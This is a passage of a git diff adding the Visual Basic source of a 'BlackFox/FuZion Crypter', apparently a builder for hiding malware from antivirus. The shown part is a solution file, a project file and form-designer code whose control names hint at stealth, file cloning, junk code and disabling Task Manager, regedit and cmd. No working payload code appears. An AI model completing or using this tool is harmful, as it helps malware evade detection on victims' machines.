fhbenmigf7y4unmig76yt4hugjhybhn.Errors.Count = 0 Then + + End If + If Icon <> "" Then : IO.File.Delete(ICO) : End If + End Sub +End Class diff --git a/scode (Crypt Flow/.DS_Store b/scode (Crypt Flow/.DS_Store new file mode 100644 index 0000000..8258137 Binary files /dev/null and b/scode (Crypt Flow/.DS_Store differ diff --git a/scode (Crypt Flow/.vs/Crypt Flow/v15/.suo b/scode (Crypt Flow/.vs/Crypt Flow/v15/.suo new file mode 100644 index 0000000..9e83251 Binary files /dev/null and b/scode (Crypt Flow/.vs/Crypt Flow/v15/.suo differ diff --git a/scode (Crypt Flow/Crypt Flow.sln b/scode (Crypt Flow/Crypt Flow.sln new file mode 100644 index 0000000..d0e860c --- /dev/null +++ b/scode (Crypt Flow/Crypt Flow.sln @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 11.00 +# Visual Basic Express 2010 +Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "BlackFox Crypter", "Crypt Flow\BlackFox Crypter.vbproj", "{B151BA91-CFC2-4466-8C48-17D99E37E216}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {B151BA91-CFC2-4466-8C48-17D99E37E216}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {B151BA91-CFC2-4466-8C48-17D99E37E216}.Debug|Any CPU.Build.0 = Debug|Any CPU + {B151BA91-CFC2-4466-8C48-17D99E37E216}.Release|Any CPU.ActiveCfg = Release|Any CPU + {B151BA91-CFC2-4466-8C48-17D99E37E216}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/scode (Crypt Flow/Crypt Flow.suo b/scode (Crypt Flow/Crypt Flow.suo new file mode 100644 index 0000000..2ba756c Binary files /dev/null and b/scode (Crypt Flow/Crypt Flow.suo differ diff --git a/scode (Crypt Flow/Crypt Flow.v12.suo b/scode (Crypt Flow/Crypt Flow.v12.suo new file mode 100644 index 0000000..2c4b671 Binary files /dev/null and b/scode (Crypt Flow/Crypt Flow.v12.suo differ diff --git a/scode (Crypt Flow/Crypt Flow/BlackFox Crypter.vbproj b/scode (Crypt Flow/Crypt Flow/BlackFox Crypter.vbproj new file mode 100644 index 0000000..3f6f3f3 --- /dev/null +++ b/scode (Crypt Flow/Crypt Flow/BlackFox Crypter.vbproj @@ -0,0 +1,188 @@ + + + + Debug + AnyCPU + 9.0.21022 + 2.0 + {B151BA91-CFC2-4466-8C48-17D99E37E216} + WinExe + Crypt_Flow.My.MyApplication + Crypt_Flow + Crypt Flow + 512 + WindowsForms + v3.5 + On + Binary + Off + On + + + + + 3.5 + publish\ + true + Disk + false + Foreground + 7 + Days + false + false + true + 0 + 1.0.0.%2a + false + false + true + + + true + full + true + true + bin\Debug\ + Crypt Flow.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022,42353,42354,42355 + AllRules.ruleset + + + pdbonly + false + true + true + bin\Release\ + Crypt Flow.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022,42353,42354,42355 + AllRules.ruleset + + + Untitled-05.ico + + + + + + + + + + + 3.5 + + + 3.5 + + + 3.5 + + + + + + + + + + + + + + + + + + Form + + + Form1.vb + Form + + + + + + True + Application.myapp + + + True + True + Resources.resx + + + True + Settings.settings + True + + + Form + + + Component + + + Component + + + + + Form1.vb + Designer + + + VbMyResourcesResXFileCodeGenerator + Resources.Designer.vb + My.Resources + Designer + + + + + + MyApplicationCodeGenerator + Application.Designer.vb + + + SettingsSingleFileGenerator + My + Settings.Designer.vb + + + + + False + .NET Framework 3.5 SP1 Client Profile + false + + + False + .NET Framework 3.5 SP1 + true + + + False + Windows Installer 3.1 + true + + + + + + + + + + + + + + \ No newline at end of file diff --git a/scode (Crypt Flow/Crypt Flow/BlackFox Crypter.vbproj.user b/scode (Crypt Flow/Crypt Flow/BlackFox Crypter.vbproj.user new file mode 100644 index 0000000..23e9d15 --- /dev/null +++ b/scode (Crypt Flow/Crypt Flow/BlackFox Crypter.vbproj.user @@ -0,0 +1,13 @@ + + + + + + + + + + fr-FR + false + + \ No newline at end of file diff --git a/scode (Crypt Flow/Crypt Flow/Form1.Designer.vb b/scode (Crypt Flow/Crypt Flow/Form1.Designer.vb new file mode 100644 index 0000000..b07fb4f --- /dev/null +++ b/scode (Crypt Flow/Crypt Flow/Form1.Designer.vb @@ -0,0 +1,1965 @@ + _ +Partial Class Form1 + Inherits System.Windows.Forms.Form + + 'Form overrides dispose to clean up the component list. + _ + Protected Overrides Sub Dispose(ByVal disposing As Boolean) + Try + If disposing AndAlso components IsNot Nothing Then + components.Dispose() + End If + Finally + MyBase.Dispose(disposing) + End Try + End Sub + + 'Required by the Windows Form Designer + Private components As System.ComponentModel.IContainer + + 'NOTE: The following procedure is required by the Windows Form Designer + 'It can be modified using the Windows Form Designer. + 'Do not modify it using the code editor. + _ + Private Sub InitializeComponent() + Dim Bloom1 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom2 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom3 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom4 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom5 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom6 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom7 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom8 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom9 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom10 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom11 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom12 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom13 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom14 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom15 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom16 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom17 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom18 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom19 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom20 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom21 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom22 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom23 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom24 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom25 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom26 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom27 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom28 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom29 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom30 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom31 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom32 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom33 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom34 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom35 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom36 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom37 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom38 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom39 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom40 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom41 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom42 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom43 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom44 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom45 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom46 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom47 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom48 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom49 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom50 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom51 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom52 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom53 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom54 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom55 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom56 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom57 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom58 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom59 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom60 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom61 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom62 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom63 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom64 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom65 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom66 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom67 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom68 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom69 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom78 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom79 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom80 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom81 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom82 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom83 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom84 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom85 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom70 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom71 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom72 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom73 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom74 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom75 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom76 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Dim Bloom77 As Crypt_Flow.Bloom = New Crypt_Flow.Bloom() + Me.OpenFileDialog1 = New System.Windows.Forms.OpenFileDialog() + Me.FlowTheme1 = New Crypt_Flow.FlowTheme() + Me.FlowButton2 = New Crypt_Flow.FlowButton() + Me.FlowButton1 = New Crypt_Flow.FlowButton() + Me.Button2 = New Crypt_Flow.FlowButton() + Me.Flowtabcontrol1 = New Crypt_Flow.Flowtabcontrol() + Me.TabPage1 = New System.Windows.Forms.TabPage() + Me.FlowGroupBox3 = New Crypt_Flow.FlowGroupBox() + Me.FlowCheckbox3 = New Crypt_Flow.FlowCheckbox() + Me.FlowCheckbox2 = New Crypt_Flow.FlowCheckbox() + Me.Checkbox8 = New Crypt_Flow.FlowCheckbox() + Me.Checkbox6 = New Crypt_Flow.FlowCheckbox() + Me.Checkbox5 = New Crypt_Flow.FlowCheckbox() + Me.Checkbox1 = New Crypt_Flow.FlowCheckbox() + Me.FlowGroupBox2 = New Crypt_Flow.FlowGroupBox() + Me.TxtClone = New System.Windows.Forms.TextBox() + Me.BtnClone = New Crypt_Flow.FlowButton() + Me.Button1 = New Crypt_Flow.FlowButton() + Me.TextBox1 = New System.Windows.Forms.TextBox() + Me.EofLabel1 = New Crypt_Flow.FlowLabel() + Me.TextBox2 = New System.Windows.Forms.TextBox() + Me.TextBox3 = New System.Windows.Forms.TextBox() + Me.Button3 = New Crypt_Flow.FlowButton() + Me.Button4 = New Crypt_Flow.FlowButton() + Me.TabPage2 = New System.Windows.Forms.TabPage() + Me.TabPage3 = New System.Windows.Forms.TabPage() + Me.FlowGroupBox6 = New Crypt_Flow.FlowGroupBox() + Me.FlowGroupBox11 = New Crypt_Flow.FlowGroupBox() + Me.CbClone = New Crypt_Flow.FlowCheckbox() + Me.TextBox4 = New System.Windows.Forms.TextBox() + Me.stealth = New System.Windows.Forms.TextBox() + Me.FlowLabel2 = New Crypt_Flow.FlowLabel() + Me.Checkbox2 = New Crypt_Flow.FlowCheckbox() + Me.FlowLabel3 = New Crypt_Flow.FlowLabel() + Me.ComboBox1 = New System.Windows.Forms.ComboBox() + Me.FlowLabel4 = New Crypt_Flow.FlowLabel() + Me.FlowGroupBox10 = New Crypt_Flow.FlowGroupBox() + Me.TextBox16 = New System.Windows.Forms.TextBox() + Me.TextBox15 = New System.Windows.Forms.TextBox() + Me.FlowCheckbox4 = New Crypt_Flow.FlowCheckbox() + Me.FlowCheckbox1 = New Crypt_Flow.FlowCheckbox() + Me.Checkbox4 = New Crypt_Flow.FlowCheckbox() + Me.EofLabel = New System.Windows.Forms.Label() + Me.TabPage6 = New System.Windows.Forms.TabPage() + Me.FlowGroupBox13 = New Crypt_Flow.FlowGroupBox() + Me.FlowCheckbox17 = New Crypt_Flow.FlowCheckbox() + Me.FlowCheckbox18 = New Crypt_Flow.FlowCheckbox() + Me.FlowGroupBox12 = New Crypt_Flow.FlowGroupBox() + Me.FlowCheckbox10 = New Crypt_Flow.FlowCheckbox() + Me.FlowCheckbox9 = New Crypt_Flow.FlowCheckbox() + Me.CbDsr = New Crypt_Flow.FlowCheckbox() + Me.FlowCheckbox19 = New Crypt_Flow.FlowCheckbox() + Me.CbCmd = New Crypt_Flow.FlowCheckbox() + Me.CbDFiles = New Crypt_Flow.FlowCheckbox() + Me.CbDf = New Crypt_Flow.FlowCheckbox() + Me.FlowCheckbox12 = New Crypt_Flow.FlowCheckbox() + Me.CbDre = New Crypt_Flow.FlowCheckbox() + Me.CbDtm = New Crypt_Flow.FlowCheckbox() + Me.TabPage5 = New System.Windows.Forms.TabPage() + Me.TxtBody = New System.Windows.Forms.TextBox() + Me.TxtMTitle1 = New System.Windows.Forms.TextBox() + Me.Label1 = New System.Windows.Forms.Label() + Me.FlowCheckbox6 = New Crypt_Flow.FlowCheckbox() + Me.BtnTest = New Crypt_Flow.FlowButton() + Me.FlowGroupBox8 = New Crypt_Flow.FlowGroupBox() + Me.Checkbox3 = New Crypt_Flow.FlowCheckbox() + Me.RadioButton2 = New System.Windows.Forms.RadioButton() + Me.RadioButton1 = New System.Windows.Forms.RadioButton() + Me.NumericUpDown2 = New System.Windows.Forms.NumericUpDown() + Me.FlowGroupBox5 = New Crypt_Flow.FlowGroupBox() + Me.Checkbox7 = New Crypt_Flow.FlowCheckbox() + Me.FlowLabel1 = New Crypt_Flow.FlowLabel() + Me.Textbox5 = New Crypt_Flow.Flowtextbox() + Me.FlowLabel17 = New Crypt_Flow.FlowLabel() + Me.FlowLabel14 = New Crypt_Flow.FlowLabel() + Me.FlowLabel13 = New Crypt_Flow.FlowLabel() + Me.TabPage4 = New System.Windows.Forms.TabPage() + Me.FileVersion = New System.Windows.Forms.TextBox() + Me.Version1 = New System.Windows.Forms.TextBox() + Me.Trademark = New System.Windows.Forms.TextBox() + Me.Product = New System.Windows.Forms.TextBox() + Me.Copyright = New System.Windows.Forms.TextBox() + Me.Company = New System.Windows.Forms.TextBox() + Me.Description = New System.Windows.Forms.TextBox() + Me.Title = New System.Windows.Forms.TextBox() + Me.FlowLabel12 = New Crypt_Flow.FlowLabel() + Me.FlowLabel11 = New Crypt_Flow.FlowLabel() + Me.FlowLabel10 = New Crypt_Flow.FlowLabel() + Me.FlowLabel9 = New Crypt_Flow.FlowLabel() + Me.FlowLabel8 = New Crypt_Flow.FlowLabel() + Me.FlowLabel7 = New Crypt_Flow.FlowLabel() + Me.FlowLabel6 = New Crypt_Flow.FlowLabel() + Me.FlowLabel5 = New Crypt_Flow.FlowLabel() + Me.RadioButton3 = New System.Windows.Forms.RadioButton() + Me.FlowButton4 = New Crypt_Flow.FlowButton() + Me.RadioButton8 = New System.Windows.Forms.RadioButton() + Me.RadioButton4 = New System.Windows.Forms.RadioButton() + Me.RadioButton7 = New System.Windows.Forms.RadioButton() + Me.RadioButton6 = New System.Windows.Forms.RadioButton() + Me.RadioButton5 = New System.Windows.Forms.RadioButton() + Me.FlowLabel18 = New Crypt_Flow.FlowLabel() + Me.TextBox6 = New System.Windows.Forms.TextBox() + Me.FlowGroupBox4 = New Crypt_Flow.FlowGroupBox() + Me.FlowGroupBox9 = New Crypt_Flow.FlowGroupBox() + Me.FlowCheckbox8 = New Crypt_Flow.FlowCheckbox() + Me.Checkbox9 = New Crypt_Flow.FlowCheckbox() + Me.chkJunk = New Crypt_Flow.FlowCheckbox() + Me.FlowCheckbox5 = New Crypt_Flow.FlowCheckbox() + Me.PictureBox1 = New System.Windows.Forms.PictureBox() + Me.FlowTheme1.SuspendLayout() + Me.Flowtabcontrol1.SuspendLayout() + Me.TabPage1.SuspendLayout() + Me.FlowGroupBox3.SuspendLayout() + Me.FlowGroupBox2.SuspendLayout() + Me.TabPage2.SuspendLayout() + Me.TabPage3.SuspendLayout() + Me.FlowGroupBox6.SuspendLayout() + Me.FlowGroupBox11.SuspendLayout() + Me.FlowGroupBox10.SuspendLayout() + Me.TabPage6.SuspendLayout() + Me.FlowGroupBox13.SuspendLayout() + Me.FlowGroupBox12.SuspendLayout() + Me.TabPage5.SuspendLayout() + Me.FlowGroupBox8.SuspendLayout() + CType(Me.NumericUpDown2, System.ComponentModel.ISupportInitialize).BeginInit() + Me.FlowGroupBox5.SuspendLayout() + Me.TabPage4.SuspendLayout() + Me.FlowGroupBox4.SuspendLayout() + Me.FlowGroupBox9.SuspendLayout() + CType(Me.PictureBox1, System.ComponentModel.ISupportInitialize).BeginInit() + Me.SuspendLayout() + ' + 'OpenFileDialog1 + ' + Me.OpenFileDialog1.FileName = "OpenFileDialog1" + ' + 'FlowTheme1 + ' + Me.FlowTheme1.BackColor = System.Drawing.Color.FromArgb(CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer)) + Me.FlowTheme1.BorderStyle = System.Windows.Forms.FormBorderStyle.None + Bloom1.Name = "Sides" + Bloom1.Value = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer)) + Bloom2.Name = "Gradient" + Bloom2.Value = System.Drawing.Color.FromArgb(CType(CType(18, Byte), Integer), CType(CType(18, Byte), Integer), CType(CType(18, Byte), Integer)) + Bloom3.Name = "Text" + Bloom3.Value = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(132, Byte), Integer), CType(CType(255, Byte), Integer)) + Bloom4.Name = "Border1" + Bloom4.Value = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer)) + Bloom5.Name = "Border2" + Bloom5.Value = System.Drawing.Color.FromArgb(CType(CType(22, Byte), Integer), CType(CType(22, Byte), Integer), CType(CType(22, Byte), Integer)) + Bloom6.Name = "Border3" + Bloom6.Value = System.Drawing.Color.FromArgb(CType(CType(65, Byte), Integer), CType(CType(65, Byte), Integer), CType(CType(65, Byte), Integer)) + Bloom7.Name = "Border4" + Bloom7.Value = System.Drawing.Color.Black + Bloom8.Name = "Hatch1" + Bloom8.Value = System.Drawing.Color.FromArgb(CType(CType(39, Byte), Integer), CType(CType(39, Byte), Integer), CType(CType(39, Byte), Integer)) + Bloom9.Name = "Hatch2" + Bloom9.Value = System.Drawing.Color.FromArgb(CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer)) + Bloom10.Name = "Hatch3" + Bloom10.Value = System.Drawing.Color.FromArgb(CType(CType(29, Byte), Integer), CType(CType(29, Byte), Integer), CType(CType(29, Byte), Integer)) + Bloom11.Name = "Hatch4" + Bloom11.Value = System.Drawing.Color.FromArgb(CType(CType(26, Byte), Integer), CType(CType(26, Byte), Integer), CType(CType(26, Byte), Integer)) + Bloom12.Name = "Shade1" + Bloom12.Value = System.Drawing.Color.FromArgb(CType(CType(50, Byte), Integer), CType(CType(7, Byte), Integer), CType(CType(7, Byte), Integer), CType(CType(7, Byte), Integer)) + Bloom13.Name = "Shade2" + Bloom13.Value = System.Drawing.Color.Transparent + Me.FlowTheme1.Colors = New Crypt_Flow.Bloom() {Bloom1, Bloom2, Bloom3, Bloom4, Bloom5, Bloom6, Bloom7, Bloom8, Bloom9, Bloom10, Bloom11, Bloom12, Bloom13} + Me.FlowTheme1.Controls.Add(Me.FlowButton2) + Me.FlowTheme1.Controls.Add(Me.FlowButton1) + Me.FlowTheme1.Controls.Add(Me.Button2) + Me.FlowTheme1.Controls.Add(Me.Flowtabcontrol1) + Me.FlowTheme1.Customization = "KCgo/xISEv//hAD/KCgo/xYWFv9BQUH/AAAA/ycnJ/8jIyP/HR0d/xoaGv8HBwcy////AA==" + Me.FlowTheme1.Dock = System.Windows.Forms.DockStyle.Fill + Me.FlowTheme1.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.FlowTheme1.Image = Nothing + Me.FlowTheme1.Location = New System.Drawing.Point(0, 0) + Me.FlowTheme1.Movable = True + Me.FlowTheme1.Name = "FlowTheme1" + Me.FlowTheme1.NoRounding = False + Me.FlowTheme1.Sizable = True + Me.FlowTheme1.Size = New System.Drawing.Size(543, 307) + Me.FlowTheme1.SmartBounds = True + Me.FlowTheme1.TabIndex = 0 + Me.FlowTheme1.Text = "FuZion Crypter" + Me.FlowTheme1.TransparencyKey = System.Drawing.Color.Fuchsia + ' + 'FlowButton2 + ' + Bloom14.Name = "DownGradient1" + Bloom14.Value = System.Drawing.Color.FromArgb(CType(CType(24, Byte), Integer), CType(CType(24, Byte), Integer), CType(CType(24, Byte), Integer)) + Bloom15.Name = "DownGradient2" + Bloom15.Value = System.Drawing.Color.FromArgb(CType(CType(38, Byte), Integer), CType(CType(38, Byte), Integer), CType(CType(38, Byte), Integer)) + Bloom16.Name = "NoneGradient1" + Bloom16.Value = System.Drawing.Color.FromArgb(CType(CType(38, Byte), Integer), CType(CType(38, Byte), Integer), CType(CType(38, Byte), Integer)) + Bloom17.Name = "NoneGradient2" + Bloom17.Value = System.Drawing.Color.FromArgb(CType(CType(24, Byte), Integer), CType(CType(24, Byte), Integer), CType(CType(24, Byte), Integer)) + Bloom18.Name = "Text" + Bloom18.Value = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Bloom19.Name = "Border1" + Bloom19.Value = System.Drawing.Color.FromArgb(CType(CType(22, Byte), Integer), CType(CType(22, Byte), Integer), CType(CType(22, Byte), Integer)) + Bloom20.Name = "Border2A" + Bloom20.Value = System.Drawing.Color.FromArgb(CType(CType(60, Byte), Integer), CType(CType(60, Byte), Integer), CType(CType(60, Byte), Integer)) + Bloom21.Name = "Border2B" + Bloom21.Value = System.Drawing.Color.FromArgb(CType(CType(36, Byte), Integer), CType(CType(36, Byte), Integer), CType(CType(36, Byte), Integer)) + Me.FlowButton2.Colors = New Crypt_Flow.Bloom() {Bloom14, Bloom15, Bloom16, Bloom17, Bloom18, Bloom19, Bloom20, Bloom21} + Me.FlowButton2.Customization = "GBgY/yYmJv8mJib/GBgY//////8WFhb/PDw8/yQkJP8=" + Me.FlowButton2.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.FlowButton2.Image = Nothing + Me.FlowButton2.Location = New System.Drawing.Point(487, 4) + Me.FlowButton2.Name = "FlowButton2" + Me.FlowButton2.NoRounding = False + Me.FlowButton2.Size = New System.Drawing.Size(19, 18) + Me.FlowButton2.TabIndex = 7 + Me.FlowButton2.Text = "-" + Me.FlowButton2.Transparent = False + ' + 'FlowButton1 + ' + Bloom22.Name = "DownGradient1" + Bloom22.Value = System.Drawing.Color.FromArgb(CType(CType(24, Byte), Integer), CType(CType(24, Byte), Integer), CType(CType(24, Byte), Integer)) + Bloom23.Name = "DownGradient2" + Bloom23.Value = System.Drawing.Color.FromArgb(CType(CType(38, Byte), Integer), CType(CType(38, Byte), Integer), CType(CType(38, Byte), Integer)) + Bloom24.Name = "NoneGradient1" + Bloom24.Value = System.Drawing.Color.FromArgb(CType(CType(38, Byte), Integer), CType(CType(38, Byte), Integer), CType(CType(38, Byte), Integer)) + Bloom25.Name = "NoneGradient2" + Bloom25.Value = System.Drawing.Color.FromArgb(CType(CType(24, Byte), Integer), CType(CType(24, Byte), Integer), CType(CType(24, Byte), Integer)) + Bloom26.Name = "Text" + Bloom26.Value = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Bloom27.Name = "Border1" + Bloom27.Value = System.Drawing.Color.FromArgb(CType(CType(22, Byte), Integer), CType(CType(22, Byte), Integer), CType(CType(22, Byte), Integer)) + Bloom28.Name = "Border2A" + Bloom28.Value = System.Drawing.Color.FromArgb(CType(CType(60, Byte), Integer), CType(CType(60, Byte), Integer), CType(CType(60, Byte), Integer)) + Bloom29.Name = "Border2B" + Bloom29.Value = System.Drawing.Color.FromArgb(CType(CType(36, Byte), Integer), CType(CType(36, Byte), Integer), CType(CType(36, Byte), Integer)) + Me.FlowButton1.Colors = New Crypt_Flow.Bloom() {Bloom22, Bloom23, Bloom24, Bloom25, Bloom26, Bloom27, Bloom28, Bloom29} + Me.FlowButton1.Customization = "GBgY/yYmJv8mJib/GBgY//////8WFhb/PDw8/yQkJP8=" + Me.FlowButton1.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.FlowButton1.Image = Nothing + Me.FlowButton1.Location = New System.Drawing.Point(512, 4) + Me.FlowButton1.Name = "FlowButton1" + Me.FlowButton1.NoRounding = False + Me.FlowButton1.Size = New System.Drawing.Size(19, 18) + Me.FlowButton1.TabIndex = 6 + Me.FlowButton1.Text = "X" + Me.FlowButton1.Transparent = False + ' + 'Button2 + ' + Bloom30.Name = "DownGradient1" + Bloom30.Value = System.Drawing.Color.FromArgb(CType(CType(24, Byte), Integer), CType(CType(24, Byte), Integer), CType(CType(24, Byte), Integer)) + Bloom31.Name = "DownGradient2" + Bloom31.Value = System.Drawing.Color.FromArgb(CType(CType(38, Byte), Integer), CType(CType(38, Byte), Integer), CType(CType(38, Byte), Integer)) + Bloom32.Name = "NoneGradient1" + Bloom32.Value = System.Drawing.Color.FromArgb(CType(CType(38, Byte), Integer), CType(CType(38, Byte), Integer), CType(CType(38, Byte), Integer)) + Bloom33.Name = "NoneGradient2" + Bloom33.Value = System.Drawing.Color.FromArgb(CType(CType(24, Byte), Integer), CType(CType(24, Byte), Integer), CType(CType(24, Byte), Integer)) + Bloom34.Name = "Text" + Bloom34.Value = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Bloom35.Name = "Border1" + Bloom35.Value = System.Drawing.Color.FromArgb(CType(CType(22, Byte), Integer), CType(CType(22, Byte), Integer), CType(CType(22, Byte), Integer)) + Bloom36.Name = "Border2A" + Bloom36.Value = System.Drawing.Color.FromArgb(CType(CType(60, Byte), Integer), CType(CType(60, Byte), Integer), CType(CType(60, Byte), Integer)) + Bloom37.Name = "Border2B" + Bloom37.Value = System.Drawing.Color.FromArgb(CType(CType(36, Byte), Integer), CType(CType(36, Byte), Integer), CType(CType(36, Byte), Integer)) + Me.Button2.Colors = New Crypt_Flow.Bloom() {Bloom30, Bloom31, Bloom32, Bloom33, Bloom34, Bloom35, Bloom36, Bloom37} + Me.Button2.Customization = "GBgY/yYmJv8mJib/GBgY//////8WFhb/PDw8/yQkJP8=" + Me.Button2.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.Button2.Image = Nothing + Me.Button2.Location = New System.Drawing.Point(116, 255) + Me.Button2.Name = "Button2" + Me.Button2.NoRounding = False + Me.Button2.Size = New System.Drawing.Size(411, 40) + Me.Button2.TabIndex = 5 + Me.Button2.Text = "Protect your file" + Me.Button2.Transparent = False + ' + 'Flowtabcontrol1 + ' + Me.Flowtabcontrol1.Alignment = System.Windows.Forms.TabAlignment.Left + Me.Flowtabcontrol1.BackColor = System.Drawing.Color.FromArgb(CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer), 